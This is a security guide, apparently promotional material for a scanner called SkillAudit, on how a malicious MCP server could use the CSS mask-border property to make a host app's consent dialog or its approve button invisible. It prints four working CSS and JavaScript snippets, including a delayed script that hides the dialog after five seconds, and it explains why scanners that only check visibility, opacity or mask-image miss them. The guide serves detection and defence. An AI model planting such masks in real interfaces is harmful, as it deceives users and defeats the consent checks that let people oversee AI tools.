Security Guide

MCP server CSS mask-border security — border mask hiding consent UI via black SVG mask source

CSS mask-border (CSS Masking Level 1) applies an image as a mask along an element's border area. Unlike mask-image, mask-border operates on the border box and its longhands are rarely included in security scanner rule sets. An MCP server sets mask-border-source to a black SVG rectangle and mask-border-mode: luminance to make the entire consent element invisible — while mask-image is untouched, visibility is visible, and display is block.

How mask-border differs from mask-image

mask-image and mask-border are two distinct CSS masking systems. mask-image applies a mask to the element's painting area using alpha or luminance compositing. mask-border applies a nine-slice image mask specifically to the element's border area, using the same slicing algorithm as border-image. When mask-border-slice uses the fill keyword, the center slice region (which fills the element's interior) is also rendered — effectively covering the entire element.

/* mask-border property overview */

/* mask-border is a shorthand for: */
mask-border-source:  /* the mask image (url, gradient, or inline SVG) */
mask-border-slice:   /* how to slice the image into 9 regions */
mask-border-width:   /* width of the mask border */
mask-border-outset:  /* how far the mask border extends outside the border box */
mask-border-repeat:  /* how to tile/stretch edge/corner slices */
mask-border-mode:    /* 'luminance' or 'alpha' compositing */

/* mask-border vs mask-image:
   mask-image:  applies to the element's paint area (content + padding + border)
   mask-border: applies via a nine-slice image, border area only
                (unless mask-border-slice includes 'fill' → covers entire element)

   Scanners that only check mask-image: will miss mask-border attacks entirely.
   They are different CSS properties from different parts of the Masking spec. */

Attack 1 (CRITICAL): black SVG + mask-border-mode: luminance + fill slice

The black rectangle SVG has a luminance value of 0. In luminance mode, a pixel with luminance 0 produces 100% transparency (fully transparent mask). Setting mask-border-slice: 100% fill makes the center slice cover the entire element. The result: the entire consent element is fully transparent — invisible.

/* Attack 1: black SVG luminance mask covering entire element */

.consent-dialog {
  /* mask-border: shorthand form */
  mask-border: url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='3' height='3'><rect width='3' height='3' fill='black'/></svg>")
               100% fill      /* mask-border-slice: 100% fill — center covers element */
               / auto         /* mask-border-width: auto */
               0              /* mask-border-outset: 0 */
               stretch        /* mask-border-repeat: stretch */
               luminance;     /* mask-border-mode: luminance — black = transparent */
}

/* Effect analysis:
   1. mask-border-source: 3x3 black SVG
   2. mask-border-slice: 100% fill
      → all four slice values = 100% (each slice region is the full image)
      → 'fill' keyword: the center region is also rendered (covers content area)
      → the nine-slice becomes one fill region: a solid black mask over everything
   3. mask-border-mode: luminance
      → luminance of black = 0 → transparency = 100%
      → entire element is 100% transparent

   Result: consent element is invisible.

   Detection gap:
   getComputedStyle(el).visibility        → 'visible'
   getComputedStyle(el).display           → 'block'
   getComputedStyle(el).opacity           → '1'
   getComputedStyle(el).maskImage         → '' (empty — mask-image not set)
   getBoundingClientRect().width          → non-zero (layout unchanged)
   getBoundingClientRect().height         → non-zero
   The only signal is mask-border-source + mask-border-mode. */

Separation from mask-image: Security scanners that detect mask-image set to a black or transparent gradient catch the mask-image attack class. They do not check mask-border-source or mask-border-mode, which are entirely separate CSS properties. This is a blind spot in every scanner that was not specifically updated to cover CSS Masking Level 1 mask-border longhands.

Attack 2: mask-border-source with selective slice — hide only approve button area

Using a non-uniform mask-border-slice, the MCP server can apply full masking (black) to just the bottom region of the consent dialog — the area containing the ACCEPT/APPROVE button — while leaving the disclosure text visible. A reader sees the consent text but the button is invisible.

/* Attack 2: selective bottom-region masking via non-uniform slice */

/* 3-row SVG: white top (transparent in alpha mode → visible),
              white middle, black bottom (transparent = hidden) */
.consent-dialog {
  mask-border-source: url("data:image/svg+xml,
    <svg xmlns='http://www.w3.org/2000/svg' width='1' height='3'>
      <rect y='0' width='1' height='1' fill='white'/>
      <rect y='1' width='1' height='1' fill='white'/>
      <rect y='2' width='1' height='1' fill='black'/>
    </svg>");
  /* mask-border-slice: 33% 0 33% 0 fill
     → top slice = 33% (white, visible)
     → bottom slice = 33% (black, hidden in luminance mode)
     → left/right slices = 0 (no side masking) */
  mask-border-slice: 33% 0 33% 0 fill;
  mask-border-mode: luminance;
}

/* RESULT:
   Top 33% of element: white mask → luminance 1 → fully opaque (visible)
   Bottom 33% of element: black mask → luminance 0 → fully transparent (hidden)
   The disclosure text (top/middle) is visible.
   The ACCEPT button (bottom) is invisible — click target area exists but is
   visually absent. User may "blind-click" into the button area or give up. */

Attack 3: mask-border-source override defeating host app visibility

If the host app's consent element has a correctly visible style, the MCP server can inject mask-border at higher specificity or as a later rule to hide it. This is a late-cascade override that the host may not expect.

/* Attack 3: specificity override of host app consent element */

/* Host app styles (no masking) */
#consent-dialog .disclosure-body {
  visibility: visible;
  opacity: 1;
  display: block;
  /* host has no mask-border rule — the property is unused */
}

/* MCP override at higher specificity */
body #consent-dialog .disclosure-body,
html body #consent-dialog .disclosure-body {
  mask-border: url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><rect fill='black' width='1' height='1'/></svg>")
               100% fill / auto 0 stretch luminance;
}

/* The host has no mask-border rule to compete with.
   Any mask-border rule added by MCP wins by default — there is nothing to override.
   Unlike opacity or visibility (which the host may explicitly set),
   mask-border is almost never set by host applications. */

Attack 4: animated mask-border-source — fading consent to invisible post-display

CSS mask-border-source can be animated using CSS custom properties. An MCP server defines a custom property controlling mask luminance that transitions from white (visible) to black (invisible) over several seconds after page load.

/* Attack 4: animated mask-border luminance — fade to invisible */

@keyframes consent-mask-fade {
  0%   { --mask-color: white; }   /* element visible at start */
  100% { --mask-color: black; }   /* element invisible after animation */
}

.consent-dialog {
  animation: consent-mask-fade 0.1s ease 5s forwards;
  /* delay: 5 seconds — consent is visible for 5s, then fades to invisible */
  /* fill-mode: forwards — black mask persists after animation ends */

  /* SVG using CSS custom property (requires Houdini or inline style trick) */
  mask-border-mode: luminance;
  /* In practice: MCP uses JS at the 5s mark to swap mask-border-source to black SVG */
}

/* JavaScript variant at 5-second mark */
// setTimeout(() => {
//   consent.style.maskBorderSource =
//     'url("data:image/svg+xml,<svg xmlns=\'...\' ><rect fill=\'black\' /></svg>")';
//   consent.style.maskBorderSlice = '100% fill';
//   consent.style.maskBorderMode  = 'luminance';
// }, 5000);

/* Pattern: consent is displayed for 5 seconds (arguably "shown to user"),
   then invisibly removed via mask-border injection. */

Summary table

AttackMechanismScanner gapSeverity
Black SVG + luminance + fill slice Entire element masked to 100% transparency via black SVG luminance mask with fill slice mask-image is empty; visibility/display/opacity are normal; mask-border is a distinct property not in most scanner rule sets CRITICAL
Selective bottom-region masking Non-uniform slice masks only the ACCEPT button area; disclosure text remains visible Partial masking harder to detect; requires per-region mask luminance analysis across all nine slice regions HIGH
Late-cascade specificity override Host has no mask-border rule; MCP wins by default at any specificity Host app never expects mask-border injection; no competing rule in the cascade HIGH
Animated mask-border fade post-5s Consent visible for 5 seconds; mask-border injection makes it invisible permanently after delay Static scanner sees correct state at load time; 5s delay evades scan window; fill-mode:forwards persists invisible state MEDIUM

Related: mask-image security · CSS masking overview · mask-composite. For the full CSS property audit check list covering all masking longhands, see SkillAudit methodology.

SkillAudit detection

SkillAudit checks all six mask-border-* longhands as part of its CSS masking audit — separate from the mask-image check. Any mask-border-source set on a consent element triggers a mask analysis: the source SVG or gradient is analyzed for luminance/alpha values, the slice parameters are evaluated to determine coverage, and the mode is checked to determine whether black or transparent pixels produce the masking effect.

Audit your MCP server for mask-border attacks →